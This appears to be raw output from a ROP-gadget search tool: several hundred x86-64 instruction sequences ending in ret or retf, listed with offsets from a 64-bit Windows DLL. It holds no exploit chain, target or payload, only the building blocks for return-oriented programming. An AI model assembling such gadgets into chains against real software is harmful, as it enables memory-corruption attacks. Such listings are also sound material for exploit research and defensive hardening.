+0x00000001800daf5a: ret 0x2777; 
+0x000000018001ca91: ret 0x2872; 
+0x00000001800c62fc: ret 0x2a72; 
+0x000000018005aa92: ret 0x2a74; 
+0x0000000180068daf: ret 0x2a75; 
+0x00000001800d386e: ret 0x2aba; 
+0x000000018002e963: ret 0x2b41; 
+0x00000001800a3507: ret 0x2b44; 
+0x0000000180002f40: ret 0x2b48; 
+0x00000001800145f4: ret 0x2b49; 
+0x000000018000f9d4: ret 0x2b4c; 
+0x0000000180021501: ret 0x2b66; 
+0x0000000180028c27: ret 0x2b75; 
+0x00000001800acbea: ret 0x2be9; 
+0x0000000180047a2b: ret 0x2d8; 
+0x0000000180081aa0: ret 0x2fd; 
+0x00000001800e0981: ret 0x3024; 
+0x0000000180057c9a: ret 0x302; 
+0x00000001800e1fba: ret 0x303; 
+0x000000018009ca5e: ret 0x308; 
+0x000000018000dcbd: ret 0x30a; 
+0x000000018008120e: ret 0x30ba; 
+0x0000000180013dc4: ret 0x31b0; 
+0x00000001800a0f11: ret 0x31e; 
+0x00000001800a54fc: ret 0x31eb; 
+0x00000001800153b7: ret 0x3240; 
+0x00000001800cb681: ret 0x3302; 
+0x00000001800e7158: ret 0x3341; 
+0x000000018003bba8: ret 0x3344; 
+0x0000000180077584: ret 0x3345; 
+0x00000001800e5526: ret 0x3372; 
+0x0000000180002af2: ret 0x33c3; 
+0x0000000180074ca7: ret 0x341; 
+0x0000000180070550: ret 0x345; 
+0x00000001800b4e30: ret 0x3476; 
+0x0000000180009bd1: ret 0x348; 
+0x00000001800e5660: ret 0x349; 
+0x000000018000f9f5: ret 0x34c; 
+0x00000001800684b9: ret 0x34d; 
+0x00000001800865d3: ret 0x358; 
+0x000000018000d19a: ret 0x3675; 
+0x0000000180077486: ret 0x369; 
+0x000000018002b91a: ret 0x374; 
+0x00000001800e6672: ret 0x3772; 
+0x0000000180011237: ret 0x377; 
+0x0000000180060772: ret 0x37d; 
+0x00000001800ddc21: ret 0x3841; 
+0x00000001800edfdb: ret 0x3844; 
+0x000000018003508e: ret 0x3944; 
+0x000000018004ba30: ret 0x394c; 
+0x0000000180002a9f: ret 0x3966; 
+0x00000001800c4716: ret 0x397; 
+0x00000001800e58b6: ret 0x3a72; 
+0x0000000180038b3c: ret 0x3a8; 
+0x00000001800f987c: ret 0x3b10; 
+0x000000018002c51b: ret 0x3b41; 
+0x0000000180012f30: ret 0x3b44; 
+0x000000018001c26b: ret 0x3b48; 
+0x00000001800e73e9: ret 0x3b4a; 
+0x00000001800d1e75: ret 0x3b4c; 
+0x0000000180057e6c: ret 0x3b4d; 
+0x0000000180035321: ret 0x3b66; 
+0x00000001800c5916: ret 0x3b8; 
+0x00000001800724df: ret 0x3c75; 
+0x00000001800c4652: ret 0x3f0; 
+0x000000018000ed1d: ret 0x3f74; 
+0x00000001800a6150: ret 0x408; 
+0x00000001800698bb: ret 0x40e; 
+0x000000018007896e: ret 0x4101; 
+0x000000018002be4f: ret 0x4102; 
+0x0000000180009d66: ret 0x4103; 
+0x00000001800f99b2: ret 0x4110; 
+0x0000000180075ead: ret 0x4141; 
+0x000000018000b90d: ret 0x4166; 
+0x0000000180029762: ret 0x4189; 
+0x000000018006a4c1: ret 0x41b9; 
+0x0000000180016a37: ret 0x41c3; 
+0x000000018006ebfc: ret 0x4266; 
+0x000000018008675f: ret 0x428d; 
+0x000000018009225a: ret 0x42e; 
+0x000000018007e75d: ret 0x430f; 
+0x000000018002fca8: ret 0x4366; 
+0x0000000180068af7: ret 0x4401; 
+0x00000001800cad66: ret 0x4402; 
+0x00000001800cc6a8: ret 0x440f; 
+0x0000000180050092: ret 0x4430; 
+0x000000018002860e: ret 0x4466; 
+0x0000000180055858: ret 0x4489; 
+0x0000000180002bf1: ret 0x44c3; 
+0x00000001800ee4c0: ret 0x44c6; 
+0x0000000180043f0c: ret 0x44c7; 
+0x0000000180016e40: ret 0x4502; 
+0x0000000180087f56: ret 0x4508; 
+0x0000000180090971: ret 0x450f; 
+0x00000001800ff4b7: ret 0x4518; 
+0x0000000180038898: ret 0x4566; 
+0x000000018002c809: ret 0x4575; 
+0x00000001800cac67: ret 0x4589; 
+0x00000001800c5e23: ret 0x45e9; 
+0x00000001800c5b7d: ret 0x45eb; 
+0x000000018008e336: ret 0x45f; 
+0x000000018001aa7f: ret 0x460f; 
+0x00000001800c8f3e: ret 0x4666; 
+0x00000001800daf3b: ret 0x4677; 
+0x000000018005a3f2: ret 0x4766; 
+0x000000018003cb82: ret 0x4772; 
+0x00000001800b7371: ret 0x4801; 
+0x00000001800085ef: ret 0x4802; 
+0x00000001800728ab: ret 0x4804; 
+0x00000001800c8fe3: ret 0x4805; 
+0x0000000180042a12: ret 0x4808; 
+0x000000018006cdf7: ret 0x480c; 
+0x0000000180058b71: ret 0x4810; 
+0x00000001800439b5: ret 0x4816; 
+0x0000000180060fbf: ret 0x4818; 
+0x00000001800f46ed: ret 0x4820; 
+0x000000018000acb2: ret 0x4830; 
+0x0000000180002010: ret 0x483c; 
+0x0000000180048634: ret 0x4850; 
+0x0000000180069b84: ret 0x4865; 
+0x00000001800b0bee: ret 0x48a; 
+0x000000018006a20f: ret 0x48c3; 
+0x000000018007f976: ret 0x48cb; 
+0x0000000180028c2f: ret 0x4902; 
+0x00000001800c906b: ret 0x4905; 
+0x000000018001e0e5: ret 0x4910; 
+0x00000001800327d1: ret 0x4974; 
+0x000000018002ab39: ret 0x4977; 
+0x00000001800f65e4: ret 0x498d; 
+0x000000018001d82e: ret 0x4990; 
+0x000000018005e70c: ret 0x4a9; 
+0x000000018007b078: ret 0x4ba; 
+0x000000018001f1b4: ret 0x4c01; 
+0x0000000180057bd7: ret 0x4c02; 
+0x000000018003024d: ret 0x4c89; 
+0x000000018001ec31: ret 0x4d01; 
+0x0000000180074c79: ret 0x4d02; 
+0x00000001800c4368: ret 0x4d5; 
+0x00000001800e7938: ret 0x4d72; 
+0x00000001800e5798: ret 0x4e72; 
+0x000000018004cd56: ret 0x4e75; 
+0x0000000180091cf2: ret 0x4e77; 
+0x00000001800cb67c: ret 0x4eb; 
+0x0000000180056df7: ret 0x502; 
+0x0000000180056ba8: ret 0x504; 
+0x0000000180072cdf: ret 0x5073; 
+0x0000000180051b8e: ret 0x516; 
+0x0000000180003804: ret 0x528d; 
+0x0000000180079284: ret 0x538b; 
+0x00000001800dd1a7: ret 0x5403; 
+0x0000000180086101: ret 0x5489; 
+0x00000001800098e5: ret 0x54bf; 
+0x00000001800840ba: ret 0x553b; 
+0x00000001800e67e7: ret 0x5572; 
+0x00000001800e687a: ret 0x558b; 
+0x00000001800588e1: ret 0x558d; 
+0x0000000180001ea6: ret 0x563; 
+0x0000000180032b51: ret 0x5673; 
+0x00000001800426c6: ret 0x568b; 
+0x000000018001dee2: ret 0x573b; 
+0x00000001800f71e7: ret 0x574; 
+0x000000018004ac5c: ret 0x575; 
+0x00000001800dfd9f: ret 0x576; 
+0x000000018007b6bb: ret 0x588; 
+0x00000001800a877d: ret 0x5a77; 
+0x00000001800b4283: ret 0x5be; 
+0x00000001800456d6: ret 0x5c2; 
+0x00000001800c7063: ret 0x5c72; 
+0x000000018001ca5b: ret 0x5e72; 
+0x000000018009b46a: ret 0x5e9; 
+0x00000001800401c0: ret 0x5f3; 
+0x00000001800e6750: ret 0x5f72; 
+0x000000018002cce9: ret 0x6173; 
+0x000000018006a4b0: ret 0x61b9; 
+0x000000018003c2f5: ret 0x61d; 
+0x000000018005a3ff: ret 0x6276; 
+0x000000018003b658: ret 0x627; 
+0x00000001800be83f: ret 0x6348; 
+0x0000000180007e7c: ret 0x6349; 
+0x0000000180076587: ret 0x634c; 
+0x000000018009f260: ret 0x6483; 
+0x00000001800c5a1a: ret 0x64eb; 
+0x0000000180032aa8: ret 0x6602; 
+0x000000018005ee67: ret 0x6677; 
+0x0000000180029a2d: ret 0x66c3; 
+0x000000018004be2b: ret 0x689; 
+0x0000000180060f3b: ret 0x6948; 
+0x00000001800cb6db: ret 0x69eb; 
+0x0000000180004df6: ret 0x6a8d; 
+0x0000000180030037: ret 0x6ad; 
+0x0000000180035c93: ret 0x6b48; 
+0x000000018002df36: ret 0x6b7; 
+0x000000018002862e: ret 0x6c8b; 
+0x00000001800753f6: ret 0x6d8; 
+0x000000018002b0d5: ret 0x6dc; 
+0x000000018002a6f0: ret 0x6e3; 
+0x000000018001c581: ret 0x6e8; 
+0x000000018007e58e: ret 0x6ee9; 
+0x000000018002998f: ret 0x6ee; 
+0x000000018003a71a: ret 0x700; 
+0x00000001800a093e: ret 0x724; 
+0x00000001800da390: ret 0x7273; 
+0x000000018009218d: ret 0x73d; 
+0x00000001800b537a: ret 0x7401; 
+0x00000001800f79d0: ret 0x7404; 
+0x00000001800f79db: ret 0x7408; 
+0x000000018009c005: ret 0x7410; 
+0x000000018002274c: ret 0x742; 
+0x00000001800f79c5: ret 0x7440; 
+0x00000001800f422b: ret 0x74f0; 
+0x00000001800179a8: ret 0x7501; 
+0x000000018009bfd1: ret 0x7502; 
+0x0000000180076e1c: ret 0x7508; 
+0x0000000180023f3a: ret 0x7510; 
+0x00000001800f17b1: ret 0x7589; 
+0x0000000180001ad3: ret 0x75ff; 
+0x00000001800c300a: ret 0x76e9; 
+0x0000000180099924: ret 0x774; 
+0x000000018002b1f0: ret 0x7774; 
+0x000000018001c2da: ret 0x785; 
+0x00000001800fa2a3: ret 0x7ae8; 
+0x00000001800a8bd2: ret 0x7ae9; 
+0x00000001800cb48e: ret 0x7aeb; 
+0x00000001800173ac: ret 0x7b9; 
+0x0000000180016f54: ret 0x7bd; 
+0x000000018001e54a: ret 0x7c8b; 
+0x0000000180014ca7: ret 0x7ce; 
+0x000000018000c912: ret 0x7db; 
+0x0000000180012f1d: ret 0x7e5; 
+0x00000001800210d5: ret 0x7e74; 
+0x000000018009c9e2: ret 0x7eb; 
+0x000000018009b7b5: ret 0x7ee9; 
+0x00000001800122a7: ret 0x7f0; 
+0x00000001800c30da: ret 0x7f7d; 
+0x00000001800b837e: ret 0x7fc0; 
+0x0000000180005c1b: ret 0x8041; 
+0x00000001800f959d: ret 0x80e8; 
+0x0000000180067973: ret 0x80eb; 
+0x000000018000ee6b: ret 0x80f; 
+0x000000018000eaee: ret 0x811; 
+0x000000018003bf91: ret 0x8141; 
+0x00000001800776f7: ret 0x8148; 
+0x0000000180074134: ret 0x81eb; 
+0x0000000180016b63: ret 0x81f2; 
+0x000000018002344e: ret 0x820f; 
+0x00000001800367d3: ret 0x8302; 
+0x000000018003b42a: ret 0x8303; 
+0x000000018006f618: ret 0x830f; 
+0x000000018004b59d: ret 0x8314; 
+0x000000018005e6de: ret 0x8318; 
+0x0000000180005c97: ret 0x8341; 
+0x0000000180001ef1: ret 0x8348; 
+0x000000018000fef4: ret 0x8349; 
+0x00000001800274b2: ret 0x8366; 
+0x000000018000ab85: ret 0x83b; 
+0x0000000180006d69: ret 0x840f; 
+0x000000018004f97a: ret 0x841c; 
+0x000000018007c556: ret 0x84e8; 
+0x0000000180071702: ret 0x8502; 
+0x00000001800140dc: ret 0x850f; 
+0x0000000180007d92: ret 0x8510; 
+0x000000018001d81d: ret 0x8545; 
+0x0000000180016703: ret 0x8548; 
+0x000000018000f9a9: ret 0x854d; 
+0x000000018002c86f: ret 0x8566; 
+0x000000018003e7fe: ret 0x860f; 
+0x0000000180016b2d: ret 0x870f; 
+0x00000001800604ee: ret 0x875; 
+0x00000001800dd52e: ret 0x8841; 
+0x00000001800ae4c8: ret 0x8842; 
+0x00000001800de5b0: ret 0x88a; 
+0x00000001800678f4: ret 0x8902; 
+0x00000001800560ed: ret 0x8908; 
+0x0000000180054a4a: ret 0x8944; 
+0x00000001800045dd: ret 0x8948; 
+0x0000000180015e2f: ret 0x8949; 
+0x00000001800e619b: ret 0x894a; 
+0x0000000180025e3d: ret 0x894c; 
+0x000000018002355b: ret 0x8966; 
+0x000000018001c25e: ret 0x89fe; 
+0x00000001800c5d3d: ret 0x8a44; 
+0x00000001800ddd0a: ret 0x8a45; 
+0x0000000180052f2c: ret 0x8b08; 
+0x000000018000a3cd: ret 0x8b41; 
+0x000000018000b9d9: ret 0x8b44; 
+0x0000000180017dd3: ret 0x8b45; 
+0x0000000180007d81: ret 0x8b48; 
+0x000000018000a2f1: ret 0x8b49; 
+0x000000018000455f: ret 0x8b4c; 
+0x0000000180026c80: ret 0x8b4d; 
+0x0000000180035f14: ret 0x8b4f; 
+0x000000018009df98: ret 0x8c0f; 
+0x000000018001461f: ret 0x8d02; 
+0x0000000180079578: ret 0x8d41; 
+0x0000000180013c94: ret 0x8d43; 
+0x0000000180043a8e: ret 0x8d44; 
+0x00000001800ddc16: ret 0x8d45; 
+0x00000001800070b2: ret 0x8d48; 
+0x0000000180018e22: ret 0x8d49; 
+0x000000018002c1c6: ret 0x8d4a; 
+0x00000001800acd45: ret 0x8d4b; 
+0x000000018002c0dd: ret 0x8d4c; 
+0x0000000180014643: ret 0x8d4d; 
+0x0000000180059d74: ret 0x8ee8; 
+0x00000001800cefa3: ret 0x8fe8; 
+0x000000018001e6d4: ret 0x920f; 
+0x000000018004a9f9: ret 0x940f; 
+0x00000001800208fe: ret 0x950f; 
+0x0000000180038988: ret 0x966; 
+0x00000001800022f1: ret 0x9680; 
+0x0000000180005e23: ret 0x975; 
+0x0000000180008363: ret 0x9d5; 
+0x0000000180007bf3: ret 0x9da; 
+0x00000001800069e2: ret 0x9e1; 
+0x00000001800a8aa1: ret 0x9e9; 
+0x0000000180002f79: ret 0x9fd; 
+0x000000018006ba7e: ret 0x9feb; 
+0x00000001800f9972: ret 0x9fff; 
+0x00000001800ddbf2: ret 0xa38; 
+0x000000018005e84d: ret 0xa774; 
+0x000000018004fec5: ret 0xa7eb; 
+0x0000000180070331: ret 0xa83; 
+0x0000000180012b5a: ret 0xa8a; 
+0x00000001800f2d42: ret 0xa8b; 
+0x00000001800ee89f: ret 0xa; 
+0x000000018005e848: ret 0xac74; 
+0x0000000180072d3d: ret 0xaeeb; 
+0x000000018001422c: ret 0xafe9; 
+0x00000001800e92e2: ret 0xb2d; 
+0x00000001800089af: ret 0xb41; 
+0x000000018003bb35: ret 0xb49; 
+0x00000001800e6e42: ret 0xb51; 
+0x000000018002fb60: ret 0xb60f; 
+0x0000000180032ba7: ret 0xb672; 
+0x00000001800133f9: ret 0xb70f; 
+0x000000018001e26e: ret 0xb725; 
+0x0000000180071770: ret 0xb77; 
+0x0000000180023f93: ret 0xb83; 
+0x0000000180044c1e: ret 0xb841; 
+0x00000001800171bb: ret 0xb8; 
+0x00000001800deabc: ret 0xb8a; 
+0x00000001800678aa: ret 0xb941; 
+0x000000018009a719: ret 0xb9e9; 
+0x000000018008923a: ret 0xb; 
+0x000000018001714f: ret 0xba0f; 
+0x00000001800a8870: ret 0xba41; 
+0x00000001800172f2: ret 0xbb41; 
+0x0000000180088012: ret 0xbe08; 
+0x0000000180014709: ret 0xbe0f; 
+0x00000001800cb703: ret 0xbe41; 
+0x00000001800cf593: ret 0xbe8; 
+0x00000001800fb491: ret 0xc01c; 
+0x00000001800e9425: ret 0xc083; 
+0x00000001800131e4: ret 0xc084; 
+0x00000001800298f8: ret 0xc085; 
+0x000000018005703c: ret 0xc0; 
+0x00000001800e72db: ret 0xc0c1; 
+0x00000001800ddd98: ret 0xc0ff; 
+0x00000001800f7d73: ret 0xc123; 
+0x000000018006a4d2: ret 0xc12b; 
+0x0000000180084d4c: ret 0xc13b; 
+0x000000018004f84e: ret 0xc141; 
+0x0000000180005c38: ret 0xc148; 
+0x00000001800e0ffd: ret 0xc149; 
+0x0000000180083314: ret 0xc166; 
+0x00000001800e71f0: ret 0xc1c1; 
+0x0000000180078378: ret 0xc1ff; 
+0x000000018005e0b2: ret 0xc22b; 
+0x000000018004cd54: ret 0xc23b; 
+0x0000000180019bad: ret 0xc285; 
+0x000000018001dee0: ret 0xc28b; 
+0x000000018002ab76: ret 0xc33b; 
+0x0000000180073a1d: ret 0xc38b; 
+0x00000001800a7bc0: ret 0xc3e9; 
+0x00000001800cc696: ret 0xc3f7; 
+0x00000001800c5264: ret 0xc46; 
+0x000000018006a1fe: ret 0xc4a0; 
+0x00000001800c577d: ret 0xc4c3; 
+0x00000001800e02a9: ret 0xc5e8; 
+0x0000000180072d38: ret 0xc5eb; 
+0x00000001800cb690: ret 0xc642; 
+0x00000001800d837a: ret 0xc6c; 
+0x00000001800d3c62: ret 0xc71; 
+0x000000018002b29d: ret 0xc72; 
+0x00000001800164f4: ret 0xc72b; 
+0x00000001800dfc7e: ret 0xc75; 
+0x00000001800dfda4: ret 0xc77; 
+0x00000001800abcd4: ret 0xc78b; 
+0x00000001800d31e2: ret 0xc7a; 
+0x00000001800b2065: ret 0xc803; 
+0x000000018005d4eb: ret 0xc874; 
+0x00000001800aaa05: ret 0xc8a0; 
+0x00000001800e72a5: ret 0xc8c1; 
+0x00000001800da29a: ret 0xc91b; 
+0x00000001800a1abd: ret 0xc933; 
+0x000000018003608e: ret 0xc9ff; 
+0x00000001800d46e6: ret 0xc; 
+0x0000000180076972: ret 0xca8b; 
+0x0000000180030416: ret 0xcba; 
+0x00000001800c4047: ret 0xcc66; 
+0x00000001800299b9: ret 0xccc3; 
+0x00000001800036fc: ret 0xcccc; 
+0x0000000180044914: ret 0xcccf; 
+0x0000000180028e0b: ret 0xcd72; 
+0x00000001800ccfb2: ret 0xce1; 
+0x000000018005d716: ret 0xce73; 
+0x000000018005a8f2: ret 0xce8; 
+0x000000018006dc6a: ret 0xd03b; 
+0x00000001800ee269: ret 0xd08b; 
+0x000000018002078e: ret 0xd141; 
+0x000000018003c2d9: ret 0xd148; 
+0x000000018005c34f: ret 0xd149; 
+0x000000018002d6f1: ret 0xd18b; 
+0x0000000180016535: ret 0xd233; 
+0x00000001800d2c5a: ret 0xd27d; 
+0x0000000180072d98: ret 0xd285; 
+0x00000001800d6dcc: ret 0xd2e8; 
+0x00000001800d3d68: ret 0xd38b; 
+0x0000000180028ddd: ret 0xd73; 
+0x00000001800ff4bb: ret 0xd772; 
+0x0000000180090e6d: ret 0xd78b; 
+0x00000001800f65f0: ret 0xd872; 
+0x0000000180003819: ret 0xd8f7; 
+0x0000000180075c27: ret 0xd98b; 
+0x000000018001aa23: ret 0xd9f7; 
+0x000000018001ca83: ret 0xda73; 
+0x0000000180036785: ret 0xda8b; 
+0x00000001800586f9: ret 0xdb1b; 
+0x00000001800ba9b7: ret 0xdb8; 
+0x00000001800c5f58: ret 0xdeb; 
+0x000000018009991c: ret 0xdfba; 
+0x0000000180074303: ret 0xdfeb; 
+0x00000001800f76f5: ret 0xe000; 
+0x0000000180019053: ret 0xe083; 
+0x000000018008e79f: ret 0xe0c0; 
+0x000000018003b3b4: ret 0xe0c1; 
+0x0000000180031075: ret 0xe0ff; 
+0x00000001800b5270: ret 0xe181; 
+0x00000001800f799d: ret 0xe183; 
+0x00000001800b89ba: ret 0xe22; 
+0x0000000180013fbb: ret 0xe283; 
+0x00000001800b84da: ret 0xe28; 
+0x000000018005e6f0: ret 0xe2eb; 
+0x000000018001cab9: ret 0xe473; 
+0x00000001800b6072: ret 0xe4c; 
+0x00000001800cb4f7: ret 0xe5c1; 
+0x000000018009e1a8: ret 0xe5e9; 
+0x0000000180023d1d: ret 0xe5eb; 
+0x000000018000d151: ret 0xe74; 
+0x0000000180028f0e: ret 0xe7eb; 
+0x000000018007154a: ret 0xe802; 
+0x0000000180023fdf: ret 0xe804; 
+0x0000000180091c05: ret 0xe808; 
+0x000000018000ace5: ret 0xe872; 
+0x0000000180001f0d: ret 0xe876; 
+0x00000001800fa71d: ret 0xe8; 
+0x0000000180013f90: ret 0xe8c1; 
+0x000000018002d6ed: ret 0xe8d1; 
+0x00000001800880d1: ret 0xe902; 
+0x0000000180003ae7: ret 0xe904; 
+0x000000018007c91e: ret 0xe906; 
+0x000000018006797e: ret 0xe908; 
+0x0000000180099173: ret 0xe920; 
+0x0000000180067998: ret 0xe940; 
+0x000000018005d6e4: ret 0xe972; 
+0x000000018002427b: ret 0xe9d1; 
+0x0000000180074fe5: ret 0xe9e9; 
+0x000000018002abf1: ret 0xe9eb; 
+0x00000001800ae93b: ret 0xe; 
+0x00000001800f9433: ret 0xeae8; 
+0x0000000180043136: ret 0xeaeb; 
+0x0000000180017293: ret 0xeb02; 
+0x0000000180067967: ret 0xeb04; 
+0x0000000180014400: ret 0xece9; 
+0x000000018002c183: ret 0xee8b; 
+0x000000018002fa1d: ret 0xeee9; 
+0x00000001800572f6: ret 0xef7c; 
+0x000000018005d1a5: ret 0xef83; 
+0x00000001800ac742: ret 0xef8; 
+0x00000001800aafba: ret 0xefc; 
+0x00000001800299af: ret 0xefeb; 
+0x00000001800405c6: ret 0xf01; 
+0x00000001800172bc: ret 0xf02; 
+0x000000018008702f: ret 0xf03; 
+0x000000018005bedf: ret 0xf04; 
+0x00000001800778af: ret 0xf07; 
+0x000000018004a618: ret 0xf08; 
+0x00000001800092b1: ret 0xf10; 
+0x0000000180076a6c: ret 0xf172; 
+0x0000000180008af0: ret 0xf20; 
+0x00000001800fef8a: ret 0xf24d; 
+0x00000001800def32: ret 0xf254; 
+0x00000001800eb6da: ret 0xf33c; 
+0x00000001800e2aaa: ret 0xf410; 
+0x0000000180005c85: ret 0xf41; 
+0x0000000180087e87: ret 0xf44; 
+0x0000000180004761: ret 0xf45; 
+0x00000001800441da: ret 0xf46; 
+0x00000001800acc65: ret 0xf475; 
+0x000000018002909f: ret 0xf48; 
+0x00000001800023c0: ret 0xf49; 
+0x00000001800ecf3a: ret 0xf4b7; 
+0x0000000180037f5d: ret 0xf4c; 
+0x00000001800a7592: ret 0xf4d; 
+0x00000001800585d5: ret 0xf50; 
+0x00000001800cccda: ret 0xf526; 
+0x00000001800ab49a: ret 0xf54; 
+0x00000001800a3483: ret 0xf605; 
+0x00000001800a3ad6: ret 0xf60b; 
+0x000000018006ebe8: ret 0xf633; 
+0x00000001800d79ae: ret 0xf63c; 
+0x00000001800f2339: ret 0xf641; 
+0x0000000180034159: ret 0xf66; 
+0x00000001800a3e76: ret 0xf6dd; 
+0x000000018006c808: ret 0xf703; 
+0x0000000180016c85: ret 0xf741; 
+0x000000018000fa25: ret 0xf748; 
+0x000000018000c361: ret 0xf74; 
+0x00000001800bfefd: ret 0xf75; 
+0x000000018009ba02: ret 0xf766; 
+0x00000001800d572e: ret 0xf7c2; 
+0x000000018008f72e: ret 0xf7e1; 
+0x00000001800a3a6a: ret 0xf83a; 
+0x0000000180092fea: ret 0xf84c; 
+0x0000000180093edc: ret 0xf853; 
+0x00000001800a26c2: ret 0xf85; 
+0x0000000180094737: ret 0xf873; 
+0x00000001800948e6: ret 0xf879; 
+0x00000001800084cc: ret 0xf883; 
+0x00000001800cf37a: ret 0xf88d; 
+0x000000018001904e: ret 0xf8c1; 
+0x000000018005c426: ret 0xf8d1; 
+0x0000000180097a3c: ret 0xf8f2; 
+0x0000000180099b0d: ret 0xf948; 
+0x000000018006d052: ret 0xf976; 
+0x0000000180079f0c: ret 0xf98b; 
+0x000000018009b6c6: ret 0xf990; 
+0x000000018009d5c0: ret 0xf9c2; 
+0x000000018009fd86: ret 0xf9dd; 
+0x000000018009e17f: ret 0xf9e6; 
+0x000000018009ed85: ret 0xf9ff; 
+0x00000001800a2e55: ret 0xf; 
+0x0000000180080f1a: ret 0xfa13; 
+0x000000018009fcb4: ret 0xfa14; 
+0x00000001800a1162: ret 0xfa33; 
+0x00000001800a17cd: ret 0xfa3f; 
+0x00000001800a8114: ret 0xfa83; 
+0x00000001800c14ca: ret 0xfaa5; 
+0x00000001800a6ec9: ret 0xfaf7; 
+0x00000001800a9478: ret 0xfb59; 
+0x00000001800bd041: ret 0xfb8b; 
+0x00000001800d383f: ret 0xfba; 
+0x00000001800a9d5e: ret 0xfbb4; 
+0x00000001800acaa0: ret 0xfc6c; 
+0x00000001800acf59: ret 0xfc79; 
+0x00000001800afb3b: ret 0xfcba; 
+0x00000001800b0882: ret 0xfcd5; 
+0x000000018005a2ee: ret 0xfcf8; 
+0x000000018005a64a: ret 0xfcfa; 
+0x00000001800b194d: ret 0xfd1c; 
+0x0000000180049bda: ret 0xfd57; 
+0x000000018009d12a: ret 0xfdf; 
+0x000000018000a0ac: ret 0xfe9; 
+0x000000018005501e: ret 0xfedc; 
+0x000000018009b574: ret 0xfee9; 
+0x0000000180012998: ret 0xff02; 
+0x000000018003a8a2: ret 0xff03; 
+0x000000018003d06a: ret 0xff11; 
+0x00000001800e2c16: ret 0xff16; 
+0x00000001800169a2: ret 0xff3d; 
+0x000000018002c77b: ret 0xff41; 
+0x00000001800032c0: ret 0xff48; 
+0x0000000180057bea: ret 0xff49; 
+0x0000000180027b36: ret 0xff63; 
+0x0000000180005c4e: ret 0xff83; 
+0x000000018002acdf: ret 0xff85; 
+0x000000018000d609: ret 0xffb9; 
+0x000000018002ccd6: ret 0xffba; 
+0x000000018004140e: ret 0xffbe; 
+0x000000018004a154: ret 0xffc7; 
+0x00000001800897d2: ret 0xffe2; 
+0x00000001800fe7a8: ret 0xfff1; 
+0x00000001800cb09e: ret 0xfff4; 
+0x00000001800bb079: ret 0xfff5; 
+0x00000001800be237: ret 0xfff6; 
+0x000000018008e690: ret 0xfff7; 
+0x0000000180096b4e: ret 0xfff8; 
+0x000000018009d5c1: ret 0xfff9; 
+0x0000000180080372: ret 0xfffa; 
+0x00000001800f2af0: ret 0xfffb; 
+0x000000018002aaf7: ret 0xfffc; 
+0x00000001800282f1: ret 0xfffd; 
+0x0000000180006d72: ret 0xfffe; 
+0x0000000180025c03: ret 0xffff; 
+0x00000001800121c2: ret 1; 
+0x00000001800011f1: ret 2; 
+0x000000018000c0ad: ret 3; 
+0x0000000180030887: ret 4; 
+0x0000000180018a21: ret 5; 
+0x00000001800ecf06: ret 6; 
+0x000000018001635b: ret 7; 
+0x00000001800a2567: ret 9; 
+0x0000000180034dff: retf 0x172; ret; 
+0x0000000180097c0a: retf 0x2b4c; ret; 
+0x000000018001d82b: retf 0x2b4d; ret 0x4990; 
+0x0000000180016b04: retf 0x34c; push rcx; adc byte ptr [rcx - 0x75], cl; ret 0x2b48; 
+0x0000000180087e72: retf 0x3b48; ret 0x460f; 
+0x000000018005d713: retf 0x3b48; ret 0xce73; 
+0x0000000180070084: retf 0x3bd; add byte ptr [rax + 1], bh; add rsp, 0x28; ret; 
+0x00000001800e535e: retf 0x3bff; ret 0x8b45; 
+0x00000001800ffe32: retf 0x44c6; and al, 0x20; add dword ptr [rax - 0x75], ecx; ret 0xf49; 
+0x0000000180009f56: retf 0x8348; shl byte ptr [rax], 0x48; add eax, ecx; ret; 
+0x0000000180090957: retf 0x8349; ret 0x4902; 
+0x0000000180029d72: retf 0x8366; jg 0x29d79; jl 0x29dee; ret; 
+0x0000000180056103: retf 0x8948; add eax, 0x205e25; xor eax, eax; add rsp, 0x28; ret; 
+0x00000001800a6146: retf 0x8b41; adc byte ptr [r8 + 3], r9b; rol bh, 0x44; ret 0x408; 
+0x00000001800e7278: retf 0x8b41; ret 0x2b41; 
+0x0000000180009bce: retf 0x8b41; ret 0x348; 
+0x00000001800e72d8: retf 0x8b41; ret 0xc0c1; 
+0x00000001800e71ed: retf 0x8b41; ret 0xc1c1; 
+0x000000018006b9fc: retf 0x8b45; ret 0x8b48; 
+0x000000018000f9a6: retf 0x8b48; ret 0x854d; 
+0x000000018002c180: retf 0x8b48; ret 0xee8b; 
+0x000000018000ecde: retf 0x8b48; ret; 
+0x000000018008690c: retf 0x8b49; ret 0x8548; 
+0x00000001800e02a6: retf 0x8b4c; ret 0xc5e8; 
+0x00000001800f5ac6: retf 0x8b4c; sal edi, 1; ret 0xfff8; 
+0x000000018000d48a: retf 0x8b4d; ret; 
+0x0000000180040323: retf 0x8bff; ret 0x34c; 
+0x0000000180060764: retf 0x8d0f; sub dl, byte ptr [rcx + 0x3b480004]; sar dword ptr [rax + rcx + 0x48], 0x3b; ret 0x37d; 
+0x00000001800fa648: retf 0xb70f; add cl, byte ptr [rax - 0x7d]; ret 0x6602; 
+0x00000001800c3773: retf 0xb70f; ret 0xc148; 
+0x000000018009b9ff: retf 0xb70f; ret 0xf766; 
+0x00000001800813c9: retf 0xc18b; add rsp, 0x28; ret; 
+0x000000018008ab84: retf 0xc18b; add rsp, 0x38; ret; 
+0x0000000180055e12: retf 0xf04; scasd eax, dword ptr [rdi]; ror dword ptr [rax - 0x68], 0x48; add eax, dword ptr [rip + 0x207668]; ret; 
+0x00000001800cb6ab: retf 0xff41; ret 0x8842; 
+0x0000000180013bcc: retf; add al, byte ptr [rax]; add byte ptr [rax - 0x7d], cl; ret; 
+0x00000001800b059b: retf; cld; dec dword ptr [rax - 0x7d]; ret; 
+0x00000001800855f2: retf; dec dword ptr [rax - 0x75]; ret; 
+0x0000000180004566: retf; dec dword ptr [rax - 1]; ret; 
+0x00000001800456cd: retf; ret 5; 
+0x00000001800d0c8c: retf; sbb byte ptr [rax], al; ret; 
+0x00000001800ca460: retf; xor dword ptr [rcx], ebx; add byte ptr [rax], al; add rsp, 0x28; ret; 
+0x000000018008ab83: retfq -0x3e75; add rsp, 0x38; ret; 
+0x0000000180055e11: retfq 0xf04; scasd eax, dword ptr [rdi]; ror dword ptr [rax - 0x68], 0x48; add eax, dword ptr [rip + 0x207668]; ret; 
+0x00000001800818e1: xchg eax, esp; adc dword ptr [rax], eax; nop dword ptr [rax + rax]; add rsp, 0x58; ret; 
+0x00000001800575cc: xchg eax, esp; add byte ptr [rax], al; add byte ptr [rax - 0x7d], cl; ret; 
+0x0000000180090918: xchg eax, esp; add byte ptr [rax], al; add byte ptr [rbp - 0x75], cl; ret; 
